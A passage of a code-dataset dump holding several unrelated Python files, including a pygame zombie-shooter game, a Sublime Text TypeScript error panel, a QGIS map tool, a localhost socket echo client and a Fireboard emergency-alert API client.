Raises:\n None\n\n \"\"\"\n\n csvparser = c(\n '(?:(?<=,)|^)\\\\s*\\\\\"?((?<=\\\\\")[^\\\\\"]*(?=\")|[^,\\\\\"]*?)\\\\\"?\\\\s*(?=,|$)')\n # csvparser = c('(?= 5:\n\t\tif wave == 5:\n\t\t\tif l == 4:\n\t\t\t\tall_sprites.add(m2)\n\t\t\t\tmobs.add(m2)\n\t\t\t\tl = 0\n\t\t\telif l != 4:\n\t\t\t\tall_sprites.add(m1)\n\t\t\t\tmobs.add(m1)\n\t\t\t\tl += 1\n\t\telif wave == 6:\n\t\t\tif l == 4 or l == 3:\n\t\t\t\tall_sprites.add(m2)\n\t\t\t\tmobs.add(m2)\n\t\t\t\tl = 0\n\t\t\telif l != 4 or l != 3:\n\t\t\t\tall_sprites.add(m1)\n\t\t\t\tmobs.add(m1)\n\t\t\t\tl += 1\n\t\telif wave == 7:\n\t\t\tif l == 4 or l == 3 or l == 2:\n\t\t\t\tall_sprites.add(m2)\n\t\t\t\tmobs.add(m2)\n\t\t\t\tl = 0\n\t\t\telif l != 4 or l != 3 or l != 2:\n\t\t\t\tall_sprites.add(m1)\n\t\t\t\tmobs.add(m1)\n\t\t\t\tl += 1\n\t\telif wave == 8:\n\t\t\tif l == 4 or l == 1 or l == 3 or l == 2:\n\t\t\t\tall_sprites.add(m2)\n\t\t\t\tmobs.add(m2)\n\t\t\t\tl = 0\n\t\t\telif l != 4 or l != 3 or l != 2 or l != 1:\n\t\t\t\tall_sprites.add(m1)\n\t\t\t\tmobs.add(m1)\n\t\t\t\tl += 1\n\t\telif wave == 9:\n\t\t\tif l == 4 or l == 0 or l == 1 or l == 3 or l == 2:\n\t\t\t\tall_sprites.add(m2)\n\t\t\t\tmobs.add(m2)\n\t\t\t\tl = 0\n\t\t\telif l != 4 or l != 3 or l != 2 or l != 1 or l != 0:\n\t\t\t\tall_sprites.add(m1)\n\t\t\t\tmobs.add(m1)\n\t\t\t\tl += 1\n\t\telif wave == 10:\n\t\t\tif l == 1:\n\t\t\t\tall_sprites.add(m3)\n\t\t\t\tmobs.add(m3)\n\t\t\t\tl = 0\n\t\t\telif l != 1:\n\t\t\t\tall_sprites.add(m2)\n\t\t\t\tmobs.add(m2)\n\t\t\t\tl += 1\n\t\telif wave == 11:\n\t\t\tif l == 1 or l == 2:\n\t\t\t\tall_sprites.add(m3)\n\t\t\t\tmobs.add(m3)\n\t\t\t\tl = 0\n\t\t\telif l != 1 or l != 2:\n\t\t\t\tall_sprites.add(m2)\n\t\t\t\tmobs.add(m2)\n\t\t\t\tl += 1\n\t\telif wave == 12:\n\t\t\tif l == 1 or l == 2 or l == 3:\n\t\t\t\tall_sprites.add(m3)\n\t\t\t\tmobs.add(m3)\n\t\t\t\tl = 0\n\t\t\telif l != 1 or l != 2 or l != 3:\n\t\t\t\tall_sprites.add(m2)\n\t\t\t\tmobs.add(m2)\n\t\t\t\tl += 1\n\t\telif wave == 13:\n\t\t\tif l == 1 or l == 2 or l == 3 or l == 4:\n\t\t\t\tall_sprites.add(m3)\n\t\t\t\tmobs.add(m3)\n\t\t\t\tl = 0\n\t\t\telif l != 1 or l != 2 or l != 3 or l != 4:\n\t\t\t\tall_sprites.add(m2)\n\t\t\t\tmobs.add(m2)\n\t\t\t\tl += 1\n\t\telif wave == 14:\n\t\t\tif l == 1 or l == 2 or l == 3 or l == 4 or l == 0:\n\t\t\t\tall_sprites.add(m3)\n\t\t\t\tmobs.add(m3)\n\t\t\t\tl = 0\n\t\t\telif l != 1 or l != 2 or l != 3 or l != 4 or l != 0:\n\t\t\t\tall_sprites.add(m2)\n\t\t\t\tmobs.add(m2)\n\t\t\t\tl += 1\n\t\telif wave == 15:\n\t\t\tall_sprites.add(m3)\n\t\t\tmobs.add(m3)\n\t\t\tl = 0\n\n\tlast_mob_spawn += 1\n\tmobs_per_wave += 1\n\ndef draw_coins(surf):\n\tglobal coins\n\tfont = pygame.font.Font(font_name, 15)\n\ttext = \"COINS: \" + str(coins)\n\ttext_surface = font.render(text, True, WHITE)\n\ttext_rect = text_surface.get_rect()\n\ttext_rect.topleft = (5, 5)\n\tsurf.blit(text_surface, text_rect)\n\ndef draw_lives(surf):\n\tglobal player_lives\n\tfont = pygame.font.Font(font_name, 15)\n\ttext = \"LIVES: \" + str(player_lives)\n\ttext_surface = font.render(text, True, WHITE)\n\ttext_rect = text_surface.get_rect()\n\ttext_rect.topright = (ZS_globalvars.SCREENSIZE[0] - 5, 5)\n\tsurf.blit(text_surface, text_rect)\n\ndef draw_wave(surf):\n\tglobal wave\n\tfont = pygame.font.Font(font_name, 15)\n\ttext = \"WAVE: \" + str(wave)\n\ttext_surface = font.render(text, True, WHITE)\n\ttext_rect = text_surface.get_rect()\n\ttext_rect.center = (ZS_globalvars.SCREENSIZE[0] / 2, 15)\n\tsurf.blit(text_surface, text_rect)\n\ndef draw_wave_text(surf):\n\tfont = pygame.font.Font(font_name, 25)\n\ttext = \"WAVE CLEARED!!! Press Enter to continue\"\n\ttext_surface = font.render(text, True, WHITE)\n\ttext_rect = text_surface.get_rect()\n\ttext_rect.center = (ZS_globalvars.SCREENSIZE[0] / 2, ZS_globalvars.SCREENSIZE[1] / 2)\n\tsurf.blit(text_surface, text_rect)\n\ndef draw_shop_reload(surf):\n\tfont = pygame.font.Font(font_name, 15)\n\ttext = \"RELOAD LVL: \" + str(reload_level) + \". LVL UP COSTS: \" + str(required_coins_1) + \" COINS. PRESS 1 TO LEVEL UP.\"\n\ttext_surface = font.render(text, True, WHITE)\n\ttext_rect = text_surface.get_rect()\n\ttext_rect.center = (ZS_globalvars.SCREENSIZE[0] / 2, ZS_globalvars.SCREENSIZE[1] / 2 - 10)\n\tsurf.blit(text_surface, text_rect)\n\ndef draw_shop_bullet_speed(surf):\n\tfont = pygame.font.Font(font_name, 15)\n\ttext = \"BULLET SPEED: \" + str(ZS_globalvars.bullet_speed) + \". SPEED UP COSTS: \" + str(required_coins_2) + \" COINS. PRESS 2 TO LEVEL UP.\"\n\ttext_surface = font.render(text, True, WHITE)\n\ttext_rect = text_surface.get_rect()\n\ttext_rect.center = (ZS_globalvars.SCREENSIZE[0] / 2, ZS_globalvars.SCREENSIZE[1] / 2 + 10)\n\tsurf.blit(text_surface, text_rect)\n\ndef draw_shop_movement_speed(surf):\n\tfont = pygame.font.Font(font_name, 15)\n\ttext = \"MOVEMENT SPEED: \" + str(ZS_globalvars.movement_speed) + \". SPEED UP COSTS: \" + str(required_coins_3) + \" COINS. PRESS 3 TO LEVEL UP.\"\n\ttext_surface = font.render(text, True, WHITE)\n\ttext_rect = text_surface.get_rect()\n\ttext_rect.center = (ZS_globalvars.SCREENSIZE[0] / 2, ZS_globalvars.SCREENSIZE[1] / 2 + 30)\n\tsurf.blit(text_surface, text_rect)\n\ndef draw_shop_lives(surf):\n\tfont = pygame.font.Font(font_name, 15)\n\ttext = \"LIVES: \" + str(player_lives) + \". +1 LIVE COSTS: \" + str(required_coins_4) + \" COINS. PRESS 4 TO LEVEL UP.\"\n\ttext_surface = font.render(text, True, WHITE)\n\ttext_rect = text_surface.get_rect()\n\ttext_rect.center = (ZS_globalvars.SCREENSIZE[0] / 2, ZS_globalvars.SCREENSIZE[1] / 2 + 50)\n\tsurf.blit(text_surface, text_rect)\n\ndef draw_main_menu(surf):\n\tfont = pygame.font.Font(font_name, 50)\n\ttext = '! ZOMBIE SLAYER !'\n\ttext_surface = font.render(text, True, WHITE)\n\ttext_rect = text_surface.get_rect()\n\ttext_rect.center = (ZS_globalvars.SCREENSIZE[0] / 2, ZS_globalvars.SCREENSIZE[1] / 2 - 50)\n\tsurf.blit(text_surface, text_rect)\n\n\n\n\n# Game Loop\nrunning = True\nwhile running:\n\t# Process input (events)\n\tfor event in pygame.event.get():\n\t\t# check for closing window\n\t\tif event.type == pygame.QUIT:\n\t\t\trunning = False\n\t\telif event.type == pygame.KEYDOWN:\n\t\t\tif event.key == pygame.K_ESCAPE:\n\t\t\t\trunning = False\n\t\t\telif event.key == pygame.K_RETURN:\n\t\t\t\t# wave up when defeated all mobs\n\t\t\t\tif mobs_per_wave == max_mob_spawn_per_wave and len(mobs) == 0:\n\t\t\t\t\twave += 1\n\t\t\t\t\tif player_lives < 3:\n\t\t\t\t\t\tplayer_lives = 3\n\t\t\t\t\telse:\n\t\t\t\t\t\tplayer_lives += 1\n\t\t\t\t\tshow_wave_text = False\n\t\t\t\t\tmax_mob_spawn_per_wave += 5\n\t\t\t\t\tmobs_per_wave = 0\n\t\t\t\t\tif wave <= 5:\n\t\t\t\t\t\tmob_spawn_delay -= 10\n\t\t\t\t\t\tif not ZS_globalvars.Mob_1_speed == 8:\n\t\t\t\t\t\t\tZS_globalvars.Mob_1_speed += 1\n\t\t\t\t\telif wave > 5:\n\t\t\t\t\t\tif not ZS_globalvars.Mob_2_speed == 8:\n\t\t\t\t\t\t\tZS_globalvars.Mob_2_speed += 1\n\t\t\t\t\t\tif not ZS_globalvars.Mob_3_speed == 8 and wave > 10:\n\t\t\t\t\t\t\tZS_globalvars.Mob_3_speed += 1\n\t\t\telif event.key == pygame.K_1:\n\t\t\t\tif show_main_menu:\n\t\t\t\t\tif coins >= required_coins_1:\n\t\t\t\t\t\tZS_globalvars.player_shoot_delay -= 50\n\t\t\t\t\t\tcoins -= required_coins_1\n\t\t\t\t\t\trequired_coins_1 += 10\n\t\t\t\t\t\treload_level += 1\n\t\t\telif event.key == pygame.K_2:\n\t\t\t\tif show_main_menu:\n\t\t\t\t\tif coins >= required_coins_2:\n\t\t\t\t\t\tZS_globalvars.bullet_speed += 2\n\t\t\t\t\t\tcoins -= required_coins_2\n\t\t\t\t\t\trequired_coins_2 += 5\n\t\t\telif event.key == pygame.K_3:\n\t\t\t\tif show_main_menu:\n\t\t\t\t\tif coins >= required_coins_3:\n\t\t\t\t\t\tZS_globalvars.movement_speed += 1\n\t\t\t\t\t\tcoins -= required_coins_3\n\t\t\t\t\t\trequired_coins_3 += 10\n\t\t\telif event.key == pygame.K_4:\n\t\t\t\tif show_main_menu:\n\t\t\t\t\tif coins >= required_coins_4:\n\t\t\t\t\t\tplayer_lives += 1\n\t\t\t\t\t\tcoins -= required_coins_4\n\t\t\t\t\t\trequired_coins_4 += 25\n\t\t\telif event.key == pygame.K_TAB:\n\t\t\t\tif show_main_menu == True:\n\t\t\t\t\tshow_main_menu = False\n\t\t\t\t\tplayer_lives = 3\n\t\t\t\t\twave = 1\n\t\t\t\t\t\n\n\t# check keypresses\n\tkeystate = pygame.key.get_pressed()\n\tmousestate = pygame.mouse.get_pressed()\n\tif keystate[pygame.K_SPACE] or mousestate[0]:\n\t\tplayer.shoot(bullets, all_sprites)\n\n\t# Update\n\tif not show_main_menu:\n\t\tall_sprites.update()\n\t# Check if a Mob hits Player\n\thits = pygame.sprite.spritecollide(player, mobs, True, pygame.sprite.collide_circle)\n\tfor hit in hits:\n\t\tplayer_lives -= 1\n\t\tcoins += 1\n\t\tif player_lives == 0:\n\t\t\tshow_main_menu = True\n\t# check to see if a bullet hit a mob\n\thits = pygame.sprite.groupcollide(mobs, bullets, False, True, pygame.sprite.collide_circle)\n\tfor hit in hits:\n\t\tcoins += 1\n\t\thit.hit()\n\n\t# generate mobs\n\tif show_main_menu == False:\n\t\tnow = pygame.time.get_ticks()\n\t\tif now - last_mob_spawn > mob_spawn_delay:\n\t\t\tif mobs_per_wave < max_mob_spawn_per_wave:\n\t\t\t\tnewmob()\n\t\t\t\tlast_mob_spawn = now\n\t\t\telse:\n\t\t\t\tif len(mobs) == 0:\n\t\t\t\t\tshow_wave_text = True\n\n\t# Draw / render\n\tscreen.fill(BLACK)\n\tscreen.blit(background, background_rect)\n\tdraw_coins(screen)\n\tdraw_lives(screen)\n\tdraw_wave(screen)\n\tif show_wave_text:\n\t\tdraw_wave_text(screen)\n\tif show_main_menu:\n\t\tdraw_main_menu(screen)\n\t\tdraw_shop_reload(screen)\n\t\tdraw_shop_bullet_speed(screen)\n\t\tdraw_shop_movement_speed(screen)\n\t\tdraw_shop_lives(screen)\n\tif not show_main_menu:\n\t\tall_sprites.draw(screen)\n\t# *after* drawing everything, flip the display\n\tpygame.display.flip()\n\tclock.tick(FPS)\npygame.quit()\n\n","sub_path":"Zombie_Slayer.py","file_name":"Zombie_Slayer.py","file_ext":"py","file_size_in_byte":9856,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"302127067","text":"import turtle\n\ndef ablak_keszites(szin, ablaknev):\n a = turtle.Screen()\n a.bgcolor(szin)\n a.title(ablaknev)\n return a\n\ndef teknoc_keszites(szin, tm, s):\n t = turtle.Turtle()\n t.color(szin)\n t.pensize(tm)\n t.speed(s)\n return t\n\ndef csillag(sz, r):\n for i in range(5):\n Eszti.forward(sz)\n Eszti.right(r)\n\na = ablak_keszites(\"lightgreen\", \"Kockás spirál\")\nEszti = teknoc_keszites(\"Purple\", 3, 10)\nfor v in range(1):\n csillag(100, 144)\na.mainloop()","sub_path":"Rózsahegyi Ákos/vpfeladat9.py","file_name":"vpfeladat9.py","file_ext":"py","file_size_in_byte":493,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"650535949","text":"import sublime\nimport sublime_plugin\n\nfrom ..panel import PanelView\n\nerrors_by_path = {}\npanel_by_window = {}\n\nclass ErrorPanel(PanelView):\n direction = 'bottom'\n name = 'Errors - Typescript'\n\n def on_click(self, pos):\n for region, error in self.click_regions:\n if region[0] <= pos <= region[1]:\n path = '{0}:{1}'.format(error['file'], error['start'][0] + 1)\n return self.window.open_file(path, sublime.ENCODED_POSITION)\n\n def on_close(self):\n del panel_by_window[self.window.id()]\n\n\nclass TypescriptShowErrorPanel(sublime_plugin.WindowCommand):\n\n def run(self):\n panel = panel_by_window.get(self.window.id())\n if not panel:\n panel = panel_by_window[self.window.id()] = ErrorPanel(self.window)\n panel.view.set_syntax_file(\"Packages/subtype/theme/TypescriptBuild.tmLanguage\")\n panel.view.settings().set(\"color_scheme\", \"Packages/subtype/theme/TypescriptBuild.tmTheme\")\n panel.view.settings().set(\"line_numbers\", False)\n\n update_panel(panel)\n\n\ndef update_panel(panel):\n output_text = ''\n regions = []\n click_regions = []\n\n for path, errors in errors_by_path.items():\n if not errors:\n continue\n\n output_text += '{0}\\n'.format(path)\n\n for error in errors:\n region_text = 'Line {0}:'.format(error['start'][0] + 1)\n region_start = len(output_text) + 2\n region_end = region_start + len(region_text)\n\n error_text = error['text'].replace('\\r', '').replace('\\t', ' ' * 4)\n error_text = error_text.replace('\\n', '\\n' + ' ' * (3 + len(region_text)))\n\n regions.append(sublime.Region(region_start, region_end))\n click_regions.append(((region_start, region_end), error))\n\n output_text += ' {0} {1}\\n'.format(region_text, error_text)\n\n output_text += '\\n'\n\n panel.update(output_text)\n panel.view.add_regions('typescript-illegal', regions, 'error.line', '', sublime.DRAW_NO_FILL)\n panel.click_regions = click_regions\n\n\ndef clear_interface(interface):\n if interface_manager.get_active_paths(interface):\n for path in interface.files:\n if path not in errors_by_path:\n raise Exception('Handling errors for unknown file')\n\n errors_by_path[path] = []\n\n\ndef on_errors_update(interface, errors):\n clear_interface(interface)\n new_errors_by_path = {}\n\n for e in errors:\n if e['file'] not in new_errors_by_path:\n new_errors_by_path[e['file']] = []\n\n new_errors_by_path[e['file']].append(e)\n\n errors_by_path.update(new_errors_by_path)\n\n for panel in panel_by_window.values():\n update_panel(panel)\n\n\ndef add_file(f):\n errors_by_path[f.path] = []\n\n\ndef remove_file(f):\n del errors_by_path[f.path]\n\n\ndef extension_loaded():\n error_manager.on('errors_update', on_errors_update)\n\n interface_manager.on('file_add', add_file)\n interface_manager.on('file_remove', remove_file)\n","sub_path":"extensions/error_panel.py","file_name":"error_panel.py","file_ext":"py","file_size_in_byte":3033,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"534113530","text":"'''Escrevam um programa que faça o computador pensar em um número inteiro entre 0 e 5 e peça para o usuário tentar descobrir qual o número escolhido,.\r\no programa deverá escrever na tela se o usuário acertou ou errou.'''\r\n\r\nfrom random import randint\r\ncomputador = randint(0,5)\r\n#print('Pensei em {}'.format(computador)) -->>> o computador escolhe o número\r\nprint('Pensei em número entre 0 e 5, adivinhe qual.')\r\nnumerojogador = int(input('Em que número eu pensei? '))\r\nif numerojogador == computador:\r\n print('Você acertou!!')\r\nelse:\r\n print('Você errou.')","sub_path":"Desafio28.py","file_name":"Desafio28.py","file_ext":"py","file_size_in_byte":575,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"490714931","text":"import datetime\nimport time\nfichier = '/home/pi/Documents/test.csv'\nsortie = '/home/pi/Documents/non_repertorie.txt'\n\ncode = '123456789'\n\ndate = time.strftime(\"%A %d %B %Y %H:%M\")\ntest = open(sortie,'w')\nentree = date + ' NoAdherent ' + code \ntest.write(code)\ntest.close()\n","sub_path":"Dossier test ecriture document/Ecrire dans no adherent.py","file_name":"Ecrire dans no adherent.py","file_ext":"py","file_size_in_byte":273,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"645841911","text":"#!/bin/env python\n# encoding utf-8\n\n\"\"\"\nAuthor:liangrt\nDate:2016-03-30\n\"\"\"\nimport os\nfrom data import paths\nfrom exception import AppBaseException\nfrom enum import SYS\n\ndef setPaths():\n\tpaths.ROOT_PATH\t=SYS.ROOT_PATH\n\tpaths.APP_PATH\t= SYS.APP_PATH\n\tpaths.SYSTEM_LOG_PATH\t= SYS.LOG_PATH\n\tpaths.SYSTEM_CONF_PATH\t= SYS.CONF_PATH\n\n\tpaths.SYSTEM_CONF\t= SYS.CONF_FILE\n\n\tfor path in paths.values():\n\t\tif any(path.endswith(_) for _ in (\".txt\",\".conf\",\".xml\",\".zip\")):\n\t\t\tcheckFile(path)\n\t\t\ndef checkFile(filename):\n\tvalid = True\n\n\tif filename is None or not os.path.isfile(filename):\n\t\tvalid = False\n\tif valid:\n\t\ttry:\n\t\t\twith open(filename, \"rb\"):\n\t\t\t\tpass\n\t\texcept:\n\t\t\tvalid = False\n\tif not valid:\n\t\traise AppBaseException(\"unable to read file '%s'\" % filename)\n","sub_path":"app-sim/src/lib/core/common.py","file_name":"common.py","file_ext":"py","file_size_in_byte":755,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"9523612","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n'''\n@author: zhaogao\n@license: (C) Copyright 2013-2018.\n@contact: 449628536@qq.com\n@software: learn-py\n@file: len188_3.py\n@time: 02/05/2018 2:41 PM\n'''\n\nfrom socket import socket, AF_INET, SOCK_STREAM\nfrom queue import Queue\n\n\ndef echo_client(q):\n # 处理客户端连接\n sock, client_addr = q.get()\n print('got connection from', client_addr)\n while True:\n msg = sock.recv(65536)\n if not msg:\n break\n sock.sendall(msg)\n print('client closed connection')\n\n sock.close()\n\n\nwith socket(AF_INET, SOCK_STREAM) as s:\n s.connect(('localhost', 15000))\n q = Queue()\n q.put((s, 'localhost'))\n echo_client(q)\n","sub_path":"cook/len188_3.py","file_name":"len188_3.py","file_ext":"py","file_size_in_byte":708,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"414377532","text":"# -*- coding: utf-8 -*-\n\"\"\"\n/***************************************************************************\n ARKspatial\n A QGIS plugin for Archaeological Recording.\n Part of the Archaeological Recording Kit by L - P : Archaeology\n http://ark.lparchaeology.com\n -------------------\n copyright : 2017 by L - P : Heritage LLP\n email : ark@lparchaeology.com\n copyright : 2017 by John Layt\n email : john@layt.net\n copyright : 2010 by Jürgen E. Fischer\n copyright : 2007 by Marco Hugentobler\n copyright : 2006 by Martin Dobias\n ***************************************************************************/\n\n/***************************************************************************\n * *\n * This program is free software; you can redistribute it and/or modify *\n * it under the terms of the GNU General Public License as published by *\n * the Free Software Foundation; either version 2 of the License, or *\n * (at your option) any later version. *\n * *\n ***************************************************************************/\n\"\"\"\n\nfrom PyQt4.QtCore import QRect, Qt\nfrom PyQt4.QtGui import QColor, QCursor\n\nfrom qgis.core import QGis, QgsGeometry, QgsPoint, QgsPointV2, QgsProject, QgsRectangle\nfrom qgis.gui import QgsMapCanvasSnapper, QgsMapTool, QgsRubberBand, QgsVertexMarker\n\nfrom ..gui import CapturePointCursor\n\n\nclass MapToolInteractive(QgsMapTool):\n\n \"\"\"Tool to interact with map, including panning, zooming, and snapping\"\"\"\n\n def __init__(self, canvas, snappingEnabled=False):\n super(MapToolInteractive, self).__init__(canvas)\n self._active = False\n self._dragging = False\n self._panningEnabled = False\n self._zoomingEnabled = False\n self._zoomRubberBand = None # QgsRubberBand()\n self._zoomRect = None # QRect()\n self._snappingEnabled = snappingEnabled\n self._snapper = None # QgsMapCanvasSnapper()\n self._snappingMarker = None # QgsVertexMarker()\n\n def __del__(self):\n if self._active:\n self.deactivate()\n\n def isActive(self):\n return self._active\n\n def activate(self):\n super(MapToolInteractive, self).activate()\n self._active = True\n self._startSnapping()\n\n def deactivate(self):\n self._active = False\n if self._snappingEnabled:\n self._stopSnapping()\n if (self._zoomRubberBand is not None):\n self.canvas().scene().removeItem(self._zoomRubberBand)\n self._zoomRubberBand = None\n super(MapToolInteractive, self).deactivate()\n\n def setAction(self, action):\n super(MapToolInteractive, self).setAction(action)\n self.action().triggered.connect(self._activate)\n\n def _activate(self):\n self.canvas().setMapTool(self)\n\n def panningEnabled(self):\n return self._panningEnabled\n\n def setPanningEnabled(self, enabled):\n self._panningEnabled = enabled\n\n def zoomingEnabled(self):\n return self._zoomingEnabled\n\n def setZoomingEnabled(self, enabled):\n self._zoomingEnabled = enabled\n\n def snappingEnabled(self):\n return self._snappingEnabled\n\n def setSnappingEnabled(self, enabled):\n if (self._snappingEnabled == enabled):\n return\n self._snappingEnabled = enabled\n if not self._active:\n return\n if enabled:\n self._startSnapping()\n else:\n self._stopSnapping()\n\n def _startSnapping(self):\n self._snapper = QgsMapCanvasSnapper()\n self._snapper.setMapCanvas(self.canvas())\n\n def _stopSnapping(self):\n self._deleteSnappingMarker()\n self._snapper = None\n\n def canvasMoveEvent(self, e):\n super(MapToolInteractive, self).canvasMoveEvent(e)\n if not self._active:\n return\n e.ignore()\n if (self._panningEnabled and e.buttons() & Qt.LeftButton):\n # Pan map mode\n if not self._dragging:\n self._dragging = True\n self.setCursor(QCursor(Qt.ClosedHandCursor))\n self.canvas().panAction(e)\n e.accept()\n elif (self._zoomingEnabled and e.buttons() & Qt.RightButton):\n # Zoom map mode\n if not self._dragging:\n self._dragging = True\n self.setCursor(QCursor(Qt.ClosedHandCursor))\n self._zoomRubberBand = QgsRubberBand(self.canvas(), QGis.Polygon)\n color = QColor(Qt.blue)\n color.setAlpha(63)\n self._zoomRubberBand.setColor(color)\n self._zoomRect = QRect(0, 0, 0, 0)\n self._zoomRect.setTopLeft(e.pos())\n self._zoomRect.setBottomRight(e.pos())\n if self._zoomRubberBand is not None:\n self._zoomRubberBand.setToCanvasRectangle(self._zoomRect)\n self._zoomRubberBand.show()\n e.accept()\n elif self._snappingEnabled:\n mapPoint, mapPointV2, snapped = self._snapCursorPoint(e.pos())\n if (snapped):\n self._createSnappingMarker(mapPoint)\n else:\n self._deleteSnappingMarker()\n\n def canvasReleaseEvent(self, e):\n super(MapToolInteractive, self).canvasReleaseEvent(e)\n e.ignore()\n if (e.button() == Qt.LeftButton):\n if self._dragging:\n # Pan map mode\n self.canvas().panActionEnd(e.pos())\n self.setCursor(CapturePointCursor)\n self._dragging = False\n e.accept()\n elif (e.button() == Qt.RightButton):\n if self._dragging:\n # Zoom mode\n self._zoomRect.setBottomRight(e.pos())\n if (self._zoomRect.topLeft() != self._zoomRect.bottomRight()):\n coordinateTransform = self.canvas().getCoordinateTransform()\n ll = coordinateTransform.toMapCoordinates(self._zoomRect.left(), self._zoomRect.bottom())\n ur = coordinateTransform.toMapCoordinates(self._zoomRect.right(), self._zoomRect.top())\n r = QgsRectangle()\n r.setXMinimum(ll.x())\n r.setYMinimum(ll.y())\n r.setXMaximum(ur.x())\n r.setYMaximum(ur.y())\n r.normalize()\n if (r.width() != 0 and r.height() != 0):\n self.canvas().setExtent(r)\n self.canvas().refresh()\n self._dragging = False\n if (self._zoomRubberBand is not None):\n self.canvas().scene().removeItem(self._zoomRubberBand)\n self._zoomRubberBand = None\n e.accept()\n\n def keyPressEvent(self, e):\n super(MapToolInteractive, self).keyPressEvent(e)\n if (e.key() == Qt.Key_Escape):\n self.canvas().unsetMapTool(self)\n e.accept()\n\n def _snapCursorPoint(self, cursorPoint):\n res, snapResults = self._snapper.snapToBackgroundLayers(cursorPoint)\n if (res != 0 or len(snapResults) < 1):\n clicked = self.toMapCoordinates(cursorPoint)\n clickedV2 = QgsPointV2(clicked)\n return clicked, clickedV2, False\n else:\n # Take a copy as QGIS will delete the result!\n snapped = QgsPoint(snapResults[0].snappedVertex)\n snappedV2 = QgsPointV2(snapped)\n return snapped, snappedV2, True\n\n def _createSnappingMarker(self, snapPoint):\n if (self._snappingMarker is None):\n self._snappingMarker = QgsVertexMarker(self.canvas())\n self._snappingMarker.setIconType(QgsVertexMarker.ICON_CROSS)\n self._snappingMarker.setColor(Qt.magenta)\n self._snappingMarker.setPenWidth(3)\n self._snappingMarker.setCenter(snapPoint)\n\n def _deleteSnappingMarker(self):\n if (self._snappingMarker is not None):\n self.canvas().scene().removeItem(self._snappingMarker)\n self._snappingMarker = None\n","sub_path":"ark/lib/map/map_tool_intractive.py","file_name":"map_tool_intractive.py","file_ext":"py","file_size_in_byte":8441,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"142488586","text":"\ndef anti_divisors(n):\n res = []\n for i in range(1, n):\n if n % i != 0:\n if i % 2 != 0:\n if ((n * 2) + 1) % i == 0 or ((n * 2) - 1) % i == 0:\n res.append(i)\n else:\n if (n * 2) % i == 0:\n res.append(i)\n return res\n\n","sub_path":"GGAKNYFg2JEwxzcqk_7.py","file_name":"GGAKNYFg2JEwxzcqk_7.py","file_ext":"py","file_size_in_byte":262,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"173468926","text":"#!/usr/bin/env python\n#-*- coding: utf-8 -*-\n\nimport xml.etree.ElementTree as ET\nimport requests\nimport uuid\nimport time \n\nOPERATION = \"\"\"\n\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n\"\"\"\n\nSTATUS = \"\"\"\n\n \n \n \n \n \n \n \n \n \n \n\"\"\"\n\nclass Fireboard:\n\n def __init__(self):\n self.operationtpl = ET.fromstring(OPERATION)\n self.statustpl = ET.fromstringlist(STATUS)\n\n def set_operation_authkey(self, key=None):\n if not key:\n raise Exception(\"No operation authkey provided\")\n self.operationurl = f\"https://login.fireboard.net/api?authkey={key}&call=operation_data\"\n \n def set_status_authkey(self, key=None):\n if not key:\n raise Exception(\"No status authkey provided\")\n self.statusurl = f\"https://login.fireboard.net/api?authkey={key}&call=status_data\"\n\n def operation(self, uid=str(uuid.uuid4()), eid=None, keyword=None, announcement=None, location=None, lat=None, lon=None, timestamp=None, situation=None):\n root = self.operationtpl\n root.find(\"uniqueId\").text = str(uid)\n root.find(\"basicData/externalNumber\").text = str(eid)\n root.find(\"basicData/keyword\").text = str(keyword)\n root.find(\"basicData/announcement\").text = str(announcement)\n root.find(\"basicData/location\").text = str(location)\n root.find(\"basicData/geo_location/latitude\").text = str(lat)\n root.find(\"basicData/geo_location/longitude\").text = str(lon)\n root.find(\"basicData/timestampStarted/long\").text = str(timestamp)\n root.find(\"basicData/situation\").text = str(situation)\n if not self.operationurl:\n raise Exception(\"No operation authkey provided\")\n r = requests.post(self.operationurl, data=ET.tostring(root), headers={'Content-Type': 'application/xml'})\n print(r.text)\n\n def status(self, status=None, issi=None, opta=None, fms=None, device=None, timestamp=None):\n if not status:\n raise Exception(\"No status provided\")\n if not timestamp:\n timestamp = round(time.time())\n root = self.statustpl\n root.find(\"statusData/status\").text = str(status)\n root.find(\"statusData/issi\").text = str(issi)\n root.find(\"statusData/opta\").text = str(opta)\n root.find(\"statusData/fms\").text = str(fms)\n root.find(\"statusData/device_id\").text = str(device)\n root.find(\"statusData/timestamp/long\").text = str(timestamp)\n if not self.statusurl:\n raise Exception(\"No status authkey provided\")\n r = requests.post(self.statusurl, data=ET.tostring(root), headers={'Content-Type': 'application/xml'})\n print(r.text)\n\n\nif __name__ == \"__main__\":\n fb = Fireboard()\n fb.set_status_authkey(\"\")\n fb.set_operation_authkey(\"\")\n fb.operation(eid=\"F123456\",keyword=\"Brand 1\", announcement=\"Es brennt ein Lichtlein\", location=\"Gerätehaus\", lat=\"47.00\", lon=\"8.00\", timestamp=round(time.time()), situation=\"Whats up\")\n fb.status(status=3,fms=\"62781234\")\n fb.status(status=4,fms=\"62781234\")\n","sub_path":"fireboard.py","file_name":"fireboard.py","file_ext":"py","file_size_in_byte":3821,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"414185743","text":"import glob\nimport numpy as np\nimport cv2\nfrom model import set_keras_backend, VGGUnet\nimport keras.models as models\nfrom keras import backend as K\n\nBuilding = [0, 0, 255]\nGrass = [0, 255, 0]\nDevelopment = [0, 255, 255] # стройка, было [255, 255, 0], тогда оно красилось ГОЛУБЫМ!!!\nConcrete = [255, 255, 255] # бетон\nRoads = [0, 255, 255]\nNotAirplanes = [252, 40, 252]\nUnlabelled = [255, 0, 0]\n\nn_classes = 5 # было 7\nimages_path = 